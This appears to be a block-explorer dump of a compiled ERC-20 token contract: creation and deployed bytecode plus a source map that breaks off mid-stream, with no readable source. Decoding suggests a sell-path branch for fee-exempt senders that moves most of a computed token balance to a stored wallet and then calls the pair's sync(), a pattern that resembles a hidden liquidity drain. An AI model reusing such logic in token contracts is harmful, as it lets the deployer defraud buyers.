56110ce5760405162461bcd60e51b815260206004820152602e60248201527f53656c6c207472616e7366657220616d6f756e7420657863656564732074686560448201526d102fb6b0bc2a3c20b6b7bab73a1760911b6064820152608401610706565b6001600160a01b03821660009081526011602052604090205460ff166111fc57600c546111ae8361064d565b6111b89083611a99565b11156111fc5760405162461bcd60e51b815260206004820152601360248201527213585e081dd85b1b195d08195e18d959591959606a1b6044820152606401610706565b600d54610100900460ff1661121657610bf083838361161f565b60006112213061064d565b90508015801590819061123b5750600d54610100900460ff165b80156112515750600954600160a01b900460ff16155b801561127657506001600160a01b03851660009081526012602052604090205460ff16155b801561129b57506001600160a01b03851660009081526010602052604090205460ff16155b80156112c057506001600160a01b03841660009081526010602052604090205460ff16155b156112ee576009805460ff60a01b1916600160a01b1790556112e0611749565b6009805460ff60a01b191690555b6009546001600160a01b03851660009081526010602052604090205460ff600160a01b909204821615911615611322575060005b60008115611565576001600160a01b03861660009081526012602052604090205460ff161561152a576001600160a01b03871660009081526010602052604090205460ff161561150957600654604080516315ab88c960e31b815290516000926001600160a01b03169163ad5c46489160048083019260209291908290030181865afa1580156113b6573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906113da9190611aac565b6007546040516370a0823160e01b81526001600160a01b039182166004820152919250600091908316906370a0823190602401602060405180830381865afa15801561142a573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061144e9190611b9c565b90508015611502576103e76103e8600061147b826114758561146f8f61064d565b9061176a565b9061177d565b600854909150611496908c906001600160a01b03168361161f565b600760009054906101000a90046001600160a01b03166001600160a01b031663fff6cae96040518163ffffffff1660e01b8152600401600060405180830381600087803b1580156114e657600080fd5b505af11580156114fa573d6000803e3d6000fd5b505050505050505b5050611547565b6115236064611475600f548861176a90919063ffffffff16565b9050611547565b6115446064611475600e548861176a90919063ffffffff16565b90505b80156115585761155887308361161f565b6115628186611bb5565b94505b61157087878761161f565b50505050505050565b600580546001600160a01b038381166001600160a01b0319831681179093556040519116919082907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e090600090a35050565b6001600160a01b038216600081815260126020526040808220805460ff191685151590811790915590519092917fffa9187bf1f18bf477bd0ea1bcbb64e93b6a98132473929edfce215cd9b16fab91a35050565b6001600160a01b0383166116455760405162461bcd60e51b815260040161070690611b14565b6001600160a01b03821661166b5760405162461bcd60e51b815260040161070690611b59565b6001600160a01b038316600090815260208190526040902054818110156116e35760405162461bcd60e51b815260206004820152602660248201527f45524332303a207472616e7366657220616d6f756e7420657863656564732062604482015265616c616e636560d01b6064820152608401610706565b6001600160a01b03848116600081815260208181526040808320878703905593871680835291849020805487019055925185815290927fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef910160405180910390a3610e60565b60006117543061064d565b9050806000036117615750565b610c6b81611789565b60006117768284611bc8565b9392505050565b60006117768284611bdf565b60408051600280825260608201835260009260208301908036833701905050905030816000815181106117be576117be611c01565b6001600160a01b03928316602091820292909201810191909152600654604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa158015611817573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061183b9190611aac565b8160018151811061184e5761184e611c01565b6001600160a01b0392831660209182029290920101526006546118749130911684610c6e565b60065460095460405163791ac94760e01b81526001600160a01b039283169263791ac947926118b192879260009288929116904290600401611c17565b600060405180830381600087803b1580156118cb57600080fd5b505af11580156118df573d6000803e3d6000fd5b505050505050565b600060208083528351808285015260005b81811015611914578581018301518582016040015282016118f8565b506000604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b0381168114610c6b57600080fd5b6000806040838503121561195d57600080fd5b823561196881611935565b946020939093013593505050565b60008060006060848603121561198b57600080fd5b833561199681611935565b925060208401356119a681611935565b929592945050506040919091013590565b6000602082840312156119c957600080fd5b813561177681611935565b8015158114610c6b57600080fd5b600080604083850312156119f557600080fd5b8235611a0081611935565b91506020830135611a10816119d4565b809150509250929050565b60008060408385031215611a2e57600080fd5b8235611a3981611935565b91506020830135611a1081611935565b600181811c90821680611a5d57607f821691505b602082108103611a7d57634e487b7160e01b600052602260045260246000fd5b50919050565b634e487b7160e01b600052601160045260246000fd5b808201808211156105e2576105e2611a83565b600060208284031215611abe57600080fd5b815161177681611935565b600060208284031215611adb57600080fd5b8151611776816119d4565b600080600060608486031215611afb57600080fd5b8351925060208401519150604084015190509250925092565b60208082526025908201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604082015264647265737360d81b606082015260800190565b60208082526023908201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260408201526265737360e81b606082015260800190565b600060208284031215611bae57600080fd5b5051919050565b818103818111156105e2576105e2611a83565b80820281158282048414176105e2576105e2611a83565b600082611bfc57634e487b7160e01b600052601260045260246000fd5b500490565b634e487b7160e01b600052603260045260246000fd5b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b81811015611c675784516001600160a01b031683529383019391830191600101611c42565b50506001600160a01b0396909616606085015250505060800152939250505056fea2646970667358221220b56a0845be112f602a6b906e47bb549f65e915dd3cfd9b6cbe35a6a8c889043864736f6c63430008130033
Deployed Bytecode
0x6080604052600436106101c65760003560e01c806382247ec0116100f7578063a9059cbb11610095578063e4d1a87411610064578063e4d1a874146104e4578063ed995307146104fa578063f2fde38b14610502578063ffb54a991461052257600080fd5b8063a9059cbb1461046e578063c02466681461048e578063dd62ed3e146104ae578063de7cf799146104ce57600080fd5b806390a56118116100d157806390a561181461040357806395d89b41146104195780639a7a23d61461042e578063a457c2d71461044e57600080fd5b806382247ec0146103ba5780638a8c523c146103d05780638da5cb5b146103e557600080fd5b80634fbee1931161016457806370a082311161013e57806370a082311461034f578063715018a61461036f5780637571336a146103845780637d1db4a5146103a457600080fd5b80634fbee193146102bf578063583e0568146102f85780636ddd17131461033057600080fd5b806318160ddd116101a057806318160ddd1461024457806323b872dd14610263578063313ce56714610283578063395093511461029f57600080fd5b806306fdde03146101d2578063095ea7b3146101fd5780630c08e2551461022d57600080fd5b366101cd57005b600080fd5b3480156101de57600080fd5b506101e761053c565b6040516101f491906118e7565b60405180910390f35b34801561020957600080fd5b5061021d61021836600461194a565b6105ce565b60405190151581526020016101f4565b34801561023957600080fd5b506102426105e8565b005b34801561025057600080fd5b506002545b6040519081526020016101f4565b34801561026f57600080fd5b5061021d61027e366004611976565b610607565b34801561028f57600080fd5b50604051601281526020016101f4565b3480156102ab57600080fd5b5061021d6102ba36600461194a565b61062b565b3480156102cb57600080fd5b5061021d6102da3660046119b7565b6001600160a01b031660009081526010602052604090205460ff1690565b34801561030457600080fd5b50600654610318906001600160a01b031681565b6040516001600160a01b0390911681526020016101f4565b34801561033c57600080fd5b50600d5461021d90610100900460ff1681565b34801561035b57600080fd5b5061025561036a3660046119b7565b61064d565b34801561037b57600080fd5b50610242610668565b34801561039057600080fd5b5061024261039f3660046119e2565b61067c565b3480156103b057600080fd5b50610255600b5481565b3480156103c657600080fd5b50610255600c5481565b3480156103dc57600080fd5b506102426106af565b3480156103f157600080fd5b506005546001600160a01b0316610318565b34801561040f57600080fd5b50610255600a5481565b34801561042557600080fd5b506101e7610720565b34801561043a57600080fd5b506102426104493660046119e2565b61072f565b34801561045a57600080fd5b5061021d61046936600461194a565b6107b7565b34801561047a57600080fd5b5061021d61048936600461194a565b610832565b34801561049a57600080fd5b506102426104a93660046119e2565b610840565b3480156104ba57600080fd5b506102556104c9366004611a1b565b6108a7565b3480156104da57600080fd5b50610255600f5481565b3480156104f057600080fd5b50610255600e5481565b6102426108d2565b34801561050e57600080fd5b5061024261051d3660046119b7565b610bf5565b34801561052e57600080fd5b50600d5461021d9060ff1681565b60606003805461054b90611a49565b80601f016020809104026020016040519081016040528092919081815260200182805461057790611a49565b80156105c45780601f10610599576101008083540402835291602001916105c4565b820191906000526020600020905b8154815290600101906020018083116105a757829003601f168201915b5050505050905090565b6000336105dc818585610c6e565b60019150505b92915050565b6105f0610d92565b6002600e819055600f55600019600b819055600c55565b600033610615858285610dec565b610620858585610e66565b506001949350505050565b6000336105dc81858561063e83836108a7565b6106489190611a99565b610c6e565b6001600160a01b031660009081526020819052604090205490565b610670610d92565b61067a6000611579565b565b610684610d92565b6001600160a01b03919091166000908152601160205260409020805460ff1916911515919091179055565b6106b7610d92565b600d5460ff161561070f5760405162461bcd60e51b815260206004820152601760248201527f54726164696e6720697320616c7265616479206f70656e00000000000000000060448201526064015b60405180910390fd5b600d805461ffff1916610101179055565b60606004805461054b90611a49565b610737610d92565b6007546001600160a01b03908116908316036107a95760405162461bcd60e51b815260206004820152602b60248201527f54686520706169722063616e6e6f742062652072656d6f7665642066726f6d2060448201526a34b9a6b0b5b2b92830b4b960a91b6064820152608401610706565b6107b382826115cb565b5050565b600033816107c582866108a7565b9050838110156108255760405162461bcd60e51b815260206004820152602560248201527f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f77604482015264207a65726f60d81b6064820152608401610706565b6106208286868403610c6e565b6000336105dc818585610e66565b610848610d92565b6001600160a01b038216600081815260106020908152604091829020805460ff191685151590811790915591519182527f9d8f7706ea1113d1a167b526eca956215946dd36cc7df39eb16180222d8b5df7910160405180910390a25050565b6001600160a01b03918216600090815260016020908152604080832093909416825291909152205490565b6108da610d92565b600680546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d9081179091556040805163c45a015560e01b8152905163c45a0155916004808201926020929091908290030181865afa15801561093e573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906109629190611aac565b6001600160a01b031663c9c6539630600660009054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa1580156109c4573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906109e89190611aac565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303816000875af1158015610a35573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610a599190611aac565b600780546001600160a01b0319166001600160a01b03929092169182179055610a839060016115cb565b600754610a9a906001600160a01b0316600161067c565b600654600a54610ab79130916001600160a01b0390911690610c6e565b60075460065460405163095ea7b360e01b81526001600160a01b039182166004820152600019602482015291169063095ea7b3906044016020604051808303816000875af1158015610b0d573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610b319190611ac9565b506006546001600160a01b031663f305d7193430610b4e8161064d565b600080610b636005546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c40160606040518083038185885af1158015610bcb573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610bf09190611ae6565b505050565b610bfd610d92565b6001600160a01b038116610c625760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b6064820152608401610706565b610c6b81611579565b50565b6001600160a01b038316610cd05760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610706565b6001600160a01b038216610d315760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610706565b6001600160a01b0383811660008181526001602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6005546001600160a01b0316331461067a5760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65726044820152606401610706565b6000610df884846108a7565b90506000198114610e605781811015610e535760405162461bcd60e51b815260206004820152601d60248201527f45524332303a20696e73756666696369656e7420616c6c6f77616e63650000006044820152606401610706565b610e608484848403610c6e565b50505050565b6001600160a01b038316610e8c5760405162461bcd60e51b815260040161070690611b14565b6001600160a01b038216610eb25760405162461bcd60e51b815260040161070690611b59565b80600003610ec657610bf08383600061161f565b6005546001600160a01b03848116911614801590610ef257506005546001600160a01b03838116911614155b8015610f0657506001600160a01b03821615155b8015610f1d57506001600160a01b03821661dead14155b8015610f335750600954600160a01b900460ff16155b156111fc57600d5460ff16610fc6576001600160a01b03831660009081526010602052604090205460ff1680610f8157506001600160a01b03821660009081526010602052604090205460ff165b610fc65760405162461bcd60e51b81526020600482015260166024820152752a3930b234b7339034b9903737ba1030b1ba34bb329760511b6044820152606401610706565b6001600160a01b03831660009081526012602052604090205460ff16801561100757506001600160a01b03821660009081526011602052604090205460ff16155b156110d357600b548111156110745760405162461bcd60e51b815260206004820152602d60248201527f427579207472616e7366657220616d6f756e742065786365656473207468652060448201526c2fb6b0bc2a3c20b6b7bab73a1760991b6064820152608401610706565b600c546110808361064d565b61108a9083611a99565b11156110ce5760405162461bcd60e51b815260206004820152601360248201527213585e081dd85b1b195d08195e18d959591959606a1b6044820152606401610706565b6111fc565b6001600160a01b03821660009081526012602052604090205460ff16801561111457506001600160a01b03831660009081526011602052604090205460ff16155b1561118257600b548111156110ce5760405162461bcd60e51b815260206004820152602e60248201527f53656c6c207472616e7366657220616d6f756e7420657863656564732074686560448201526d102fb6b0bc2a3c20b6b7bab73a1760911b6064820152608401610706565b6001600160a01b03821660009081526011602052604090205460ff166111fc57600c546111ae8361064d565b6111b89083611a99565b11156111fc5760405162461bcd60e51b815260206004820152601360248201527213585e081dd85b1b195d08195e18d959591959606a1b6044820152606401610706565b600d54610100900460ff1661121657610bf083838361161f565b60006112213061064d565b90508015801590819061123b5750600d54610100900460ff165b80156112515750600954600160a01b900460ff16155b801561127657506001600160a01b03851660009081526012602052604090205460ff16155b801561129b57506001600160a01b03851660009081526010602052604090205460ff16155b80156112c057506001600160a01b03841660009081526010602052604090205460ff16155b156112ee576009805460ff60a01b1916600160a01b1790556112e0611749565b6009805460ff60a01b191690555b6009546001600160a01b03851660009081526010602052604090205460ff600160a01b909204821615911615611322575060005b60008115611565576001600160a01b03861660009081526012602052604090205460ff161561152a576001600160a01b03871660009081526010602052604090205460ff161561150957600654604080516315ab88c960e31b815290516000926001600160a01b03169163ad5c46489160048083019260209291908290030181865afa1580156113b6573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906113da9190611aac565b6007546040516370a0823160e01b81526001600160a01b039182166004820152919250600091908316906370a0823190602401602060405180830381865afa15801561142a573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061144e9190611b9c565b90508015611502576103e76103e8600061147b826114758561146f8f61064d565b9061176a565b9061177d565b600854909150611496908c906001600160a01b03168361161f565b600760009054906101000a90046001600160a01b03166001600160a01b031663fff6cae96040518163ffffffff1660e01b8152600401600060405180830381600087803b1580156114e657600080fd5b505af11580156114fa573d6000803e3d6000fd5b505050505050505b5050611547565b6115236064611475600f548861176a90919063ffffffff16565b9050611547565b6115446064611475600e548861176a90919063ffffffff16565b90505b80156115585761155887308361161f565b6115628186611bb5565b94505b61157087878761161f565b50505050505050565b600580546001600160a01b038381166001600160a01b0319831681179093556040519116919082907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e090600090a35050565b6001600160a01b038216600081815260126020526040808220805460ff191685151590811790915590519092917fffa9187bf1f18bf477bd0ea1bcbb64e93b6a98132473929edfce215cd9b16fab91a35050565b6001600160a01b0383166116455760405162461bcd60e51b815260040161070690611b14565b6001600160a01b03821661166b5760405162461bcd60e51b815260040161070690611b59565b6001600160a01b038316600090815260208190526040902054818110156116e35760405162461bcd60e51b815260206004820152602660248201527f45524332303a207472616e7366657220616d6f756e7420657863656564732062604482015265616c616e636560d01b6064820152608401610706565b6001600160a01b03848116600081815260208181526040808320878703905593871680835291849020805487019055925185815290927fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef910160405180910390a3610e60565b60006117543061064d565b9050806000036117615750565b610c6b81611789565b60006117768284611bc8565b9392505050565b60006117768284611bdf565b60408051600280825260608201835260009260208301908036833701905050905030816000815181106117be576117be611c01565b6001600160a01b03928316602091820292909201810191909152600654604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa158015611817573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061183b9190611aac565b8160018151811061184e5761184e611c01565b6001600160a01b0392831660209182029290920101526006546118749130911684610c6e565b60065460095460405163791ac94760e01b81526001600160a01b039283169263791ac947926118b192879260009288929116904290600401611c17565b600060405180830381600087803b1580156118cb57600080fd5b505af11580156118df573d6000803e3d6000fd5b505050505050565b600060208083528351808285015260005b81811015611914578581018301518582016040015282016118f8565b506000604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b0381168114610c6b57600080fd5b6000806040838503121561195d57600080fd5b823561196881611935565b946020939093013593505050565b60008060006060848603121561198b57600080fd5b833561199681611935565b925060208401356119a681611935565b929592945050506040919091013590565b6000602082840312156119c957600080fd5b813561177681611935565b8015158114610c6b57600080fd5b600080604083850312156119f557600080fd5b8235611a0081611935565b91506020830135611a10816119d4565b809150509250929050565b60008060408385031215611a2e57600080fd5b8235611a3981611935565b91506020830135611a1081611935565b600181811c90821680611a5d57607f821691505b602082108103611a7d57634e487b7160e01b600052602260045260246000fd5b50919050565b634e487b7160e01b600052601160045260246000fd5b808201808211156105e2576105e2611a83565b600060208284031215611abe57600080fd5b815161177681611935565b600060208284031215611adb57600080fd5b8151611776816119d4565b600080600060608486031215611afb57600080fd5b8351925060208401519150604084015190509250925092565b60208082526025908201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604082015264647265737360d81b606082015260800190565b60208082526023908201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260408201526265737360e81b606082015260800190565b600060208284031215611bae57600080fd5b5051919050565b818103818111156105e2576105e2611a83565b80820281158282048414176105e2576105e2611a83565b600082611bfc57634e487b7160e01b600052601260045260246000fd5b500490565b634e487b7160e01b600052603260045260246000fd5b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b81811015611c675784516001600160a01b031683529383019391830191600101611c42565b50506001600160a01b0396909616606085015250505060800152939250505056fea2646970667358221220b56a0845be112f602a6b906e47bb549f65e915dd3cfd9b6cbe35a6a8c889043864736f6c63430008130033
Deployed Bytecode Sourcemap
15200:8215:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;9960:100;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;10958:226;;;;;;;;;;-1:-1:-1;10958:226:0;;;;;:::i;:::-;;:::i;:::-;;;1188:14:1;;1181:22;1163:41;;1151:2;1136:18;10958:226:0;1023:187:1;22529:178:0;;;;;;;;;;;;;:::i;:::-;;10281:108;;;;;;;;;;-1:-1:-1;10369:12:0;;10281:108;;;1361:25:1;;;1349:2;1334:18;10281:108:0;1215:177:1;11192:295:0;;;;;;;;;;-1:-1:-1;11192:295:0;;;;;:::i;:::-;;:::i;10180:93::-;;;;;;;;;;-1:-1:-1;10180:93:0;;10263:2;2000:36:1;;1988:2;1973:18;10180:93:0;1858:184:1;11495:263:0;;;;;;;;;;-1:-1:-1;11495:263:0;;;;;:::i;:::-;;:::i;21336:125::-;;;;;;;;;;-1:-1:-1;21336:125:0;;;;;:::i;:::-;-1:-1:-1;;;;;21426:27:0;21402:4;21426:27;;;:18;:27;;;;;;;;;21336:125;15276:42;;;;;;;;;;-1:-1:-1;15276:42:0;;;;-1:-1:-1;;;;;15276:42:0;;;;;;-1:-1:-1;;;;;2489:32:1;;;2471:51;;2459:2;2444:18;15276:42:0;2299:229:1;15868:31:0;;;;;;;;;;-1:-1:-1;15868:31:0;;;;;;;;;;;10397:143;;;;;;;;;;-1:-1:-1;10397:143:0;;;;;:::i;:::-;;:::i;8999:103::-;;;;;;;;;;;;;:::i;20492:169::-;;;;;;;;;;-1:-1:-1;20492:169:0;;;;;:::i;:::-;;:::i;15697:53::-;;;;;;;;;;;;;;;;15763:52;;;;;;;;;;;;;;;;21469:171;;;;;;;;;;;;;:::i;8764:87::-;;;;;;;;;;-1:-1:-1;8837:6:0;;-1:-1:-1;;;;;8837:6:0;8764:87;;15643:47;;;;;;;;;;;;;;;;10068:104;;;;;;;;;;;;;:::i;20858:290::-;;;;;;;;;;-1:-1:-1;20858:290:0;;;;;:::i;:::-;;:::i;11766:498::-;;;;;;;;;;-1:-1:-1;11766:498:0;;;;;:::i;:::-;;:::i;10548:218::-;;;;;;;;;;-1:-1:-1;10548:218:0;;;;;:::i;:::-;;:::i;20669:181::-;;;;;;;;;;-1:-1:-1;20669:181:0;;;;;:::i;:::-;;:::i;10774:176::-;;;;;;;;;;-1:-1:-1;10774:176:0;;;;;:::i;:::-;;:::i;15943:29::-;;;;;;;;;;;;;;;;15908:28;;;;;;;;;;;;;;;;21648:873;;;:::i;9110:238::-;;;;;;;;;;-1:-1:-1;9110:238:0;;;;;:::i;:::-;;:::i;15830:31::-;;;;;;;;;;-1:-1:-1;15830:31:0;;;;;;;;9960:100;10014:13;10047:5;10040:12;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;9960:100;:::o;10958:226::-;11066:4;344:10;11122:32;344:10;11138:7;11147:6;11122:8;:32::i;:::-;11172:4;11165:11;;;10958:226;;;;;:::o;22529:178::-;8723:13;:11;:13::i;:::-;22594:1:::1;22583:8;:12:::0;;;22606:9:::1;:13:::0;-1:-1:-1;;22632:12:0::1;:29:::0;;;22672:10:::1;:27:::0;22529:178::o;11192:295::-;11323:4;344:10;11381:38;11397:4;344:10;11412:6;11381:15;:38::i;:::-;11430:27;11440:4;11446:2;11450:6;11430:9;:27::i;:::-;-1:-1:-1;11475:4:0;;11192:295;-1:-1:-1;;;;11192:295:0:o;11495:263::-;11608:4;344:10;11664:64;344:10;11680:7;11717:10;11689:25;344:10;11680:7;11689:9;:25::i;:::-;:38;;;;:::i;:::-;11664:8;:64::i;10397:143::-;-1:-1:-1;;;;;10514:18:0;10487:7;10514:18;;;;;;;;;;;;10397:143::o;8999:103::-;8723:13;:11;:13::i;:::-;9064:30:::1;9091:1;9064:18;:30::i;:::-;8999:103::o:0;20492:169::-;8723:13;:11;:13::i;:::-;-1:-1:-1;;;;;20607:39:0;;;::::1;;::::0;;;:31:::1;:39;::::0;;;;:46;;-1:-1:-1;;20607:46:0::1;::::0;::::1;;::::0;;;::::1;::::0;;20492:169::o;21469:171::-;8723:13;:11;:13::i;:::-;21533:11:::1;::::0;::::1;;21532:12;21524:48;;;::::0;-1:-1:-1;;;21524:48:0;;4493:2:1;21524:48:0::1;::::0;::::1;4475:21:1::0;4532:2;4512:18;;;4505:30;4571:25;4551:18;;;4544:53;4614:18;;21524:48:0::1;;;;;;;;;21585:11;:18:::0;;-1:-1:-1;;21614:18:0;;;;;21469:171::o;10068:104::-;10124:13;10157:7;10150:14;;;;;:::i;20858:290::-;8723:13;:11;:13::i;:::-;21004::::1;::::0;-1:-1:-1;;;;;21004:13:0;;::::1;20996:21:::0;;::::1;::::0;20974:114:::1;;;::::0;-1:-1:-1;;;20974:114:0;;4845:2:1;20974:114:0::1;::::0;::::1;4827:21:1::0;4884:2;4864:18;;;4857:30;4923:34;4903:18;;;4896:62;-1:-1:-1;;;4974:18:1;;;4967:41;5025:19;;20974:114:0::1;4643:407:1::0;20974:114:0::1;21099:41;21128:4;21134:5;21099:28;:41::i;:::-;20858:290:::0;;:::o;11766:498::-;11884:4;344:10;11884:4;11967:25;344:10;11984:7;11967:9;:25::i;:::-;11940:52;;12045:15;12025:16;:35;;12003:122;;;;-1:-1:-1;;;12003:122:0;;5257:2:1;12003:122:0;;;5239:21:1;5296:2;5276:18;;;5269:30;5335:34;5315:18;;;5308:62;-1:-1:-1;;;5386:18:1;;;5379:35;5431:19;;12003:122:0;5055:401:1;12003:122:0;12161:60;12170:5;12177:7;12205:15;12186:16;:34;12161:8;:60::i;10548:218::-;10652:4;344:10;10708:28;344:10;10725:2;10729:6;10708:9;:28::i;20669:181::-;8723:13;:11;:13::i;:::-;-1:-1:-1;;;;;20754:27:0;::::1;;::::0;;;:18:::1;:27;::::0;;;;;;;;:38;;-1:-1:-1;;20754:38:0::1;::::0;::::1;;::::0;;::::1;::::0;;;20808:34;;1163:41:1;;;20808:34:0::1;::::0;1136:18:1;20808:34:0::1;;;;;;;20669:181:::0;;:::o;10774:176::-;-1:-1:-1;;;;;10915:18:0;;;10888:7;10915:18;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;10774:176::o;21648:873::-;8723:13;:11;:13::i;:::-;21713:16:::1;:105:::0;;-1:-1:-1;;;;;;21713:105:0::1;21765:42;21713:105:::0;;::::1;::::0;;;21863:26:::1;::::0;;-1:-1:-1;;;21863:26:0;;;;:24:::1;::::0;:26:::1;::::0;;::::1;::::0;::::1;::::0;;;;;;;;;21765:42;21863:26:::1;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;21845:70:0::1;;21924:4;21931:16;;;;;;;;;-1:-1:-1::0;;;;;21931:16:0::1;-1:-1:-1::0;;;;;21931:21:0::1;;:23;;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;21845:110;::::0;-1:-1:-1;;;;;;21845:110:0::1;::::0;;;;;;-1:-1:-1;;;;;5947:15:1;;;21845:110:0::1;::::0;::::1;5929:34:1::0;5999:15;;5979:18;;;5972:43;5864:18;;21845:110:0::1;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;21829:13;:126:::0;;-1:-1:-1;;;;;;21829:126:0::1;-1:-1:-1::0;;;;;21829:126:0;;;::::1;::::0;;::::1;::::0;;21968:58:::1;::::0;-1:-1:-1;21968:28:0::1;:58::i;:::-;22071:13;::::0;22037:55:::1;::::0;-1:-1:-1;;;;;22071:13:0::1;::::0;22037:25:::1;:55::i;:::-;22137:16;::::0;22156:11:::1;::::0;22105:63:::1;::::0;22122:4:::1;::::0;-1:-1:-1;;;;;22137:16:0;;::::1;::::0;22105:8:::1;:63::i;:::-;22186:13;::::0;22231:16:::1;::::0;22179:109:::1;::::0;-1:-1:-1;;;22179:109:0;;-1:-1:-1;;;;;22231:16:0;;::::1;22179:109;::::0;::::1;6200:51:1::0;-1:-1:-1;;6267:18:1;;;6260:34;22186:13:0;::::1;::::0;22179:29:::1;::::0;6173:18:1;;22179:109:0::1;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;22301:16:0::1;::::0;-1:-1:-1;;;;;22301:16:0::1;:32;22341:9;22374:4;22394:24;22374:4:::0;22394:9:::1;:24::i;:::-;22433:1;22449::::0;22465:7:::1;8837:6:::0;;-1:-1:-1;;;;;8837:6:0;;8764:87;22465:7:::1;22301:212;::::0;::::1;::::0;;;-1:-1:-1;;;;;;22301:212:0;;;-1:-1:-1;;;;;6914:15:1;;;22301:212:0::1;::::0;::::1;6896:34:1::0;6946:18;;;6939:34;;;;6989:18;;;6982:34;;;;7032:18;;;7025:34;7096:15;;;7075:19;;;7068:44;22487:15:0::1;7128:19:1::0;;;7121:35;6830:19;;22301:212:0::1;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;21648:873::o:0;9110:238::-;8723:13;:11;:13::i;:::-;-1:-1:-1;;;;;9213:22:0;::::1;9191:110;;;::::0;-1:-1:-1;;;9191:110:0;;7680:2:1;9191:110:0::1;::::0;::::1;7662:21:1::0;7719:2;7699:18;;;7692:30;7758:34;7738:18;;;7731:62;-1:-1:-1;;;7809:18:1;;;7802:36;7855:19;;9191:110:0::1;7478:402:1::0;9191:110:0::1;9312:28;9331:8;9312:18;:28::i;:::-;9110:238:::0;:::o;14038:380::-;-1:-1:-1;;;;;14174:19:0;;14166:68;;;;-1:-1:-1;;;14166:68:0;;8087:2:1;14166:68:0;;;8069:21:1;8126:2;8106:18;;;8099:30;8165:34;8145:18;;;8138:62;-1:-1:-1;;;8216:18:1;;;8209:34;8260:19;;14166:68:0;7885:400:1;14166:68:0;-1:-1:-1;;;;;14253:21:0;;14245:68;;;;-1:-1:-1;;;14245:68:0;;8492:2:1;14245:68:0;;;8474:21:1;8531:2;8511:18;;;8504:30;8570:34;8550:18;;;8543:62;-1:-1:-1;;;8621:18:1;;;8614:32;8663:19;;14245:68:0;8290:398:1;14245:68:0;-1:-1:-1;;;;;14326:18:0;;;;;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;:36;;;14378:32;;1361:25:1;;;14378:32:0;;1334:18:1;14378:32:0;;;;;;;14038:380;;;:::o;8859:132::-;8837:6;;-1:-1:-1;;;;;8837:6:0;344:10;8923:23;8915:68;;;;-1:-1:-1;;;8915:68:0;;8895:2:1;8915:68:0;;;8877:21:1;;;8914:18;;;8907:30;8973:34;8953:18;;;8946:62;9025:18;;8915:68:0;8693:356:1;14426:502:0;14561:24;14588:25;14598:5;14605:7;14588:9;:25::i;:::-;14561:52;;-1:-1:-1;;14628:16:0;:37;14624:297;;14728:6;14708:16;:26;;14682:117;;;;-1:-1:-1;;;14682:117:0;;9256:2:1;14682:117:0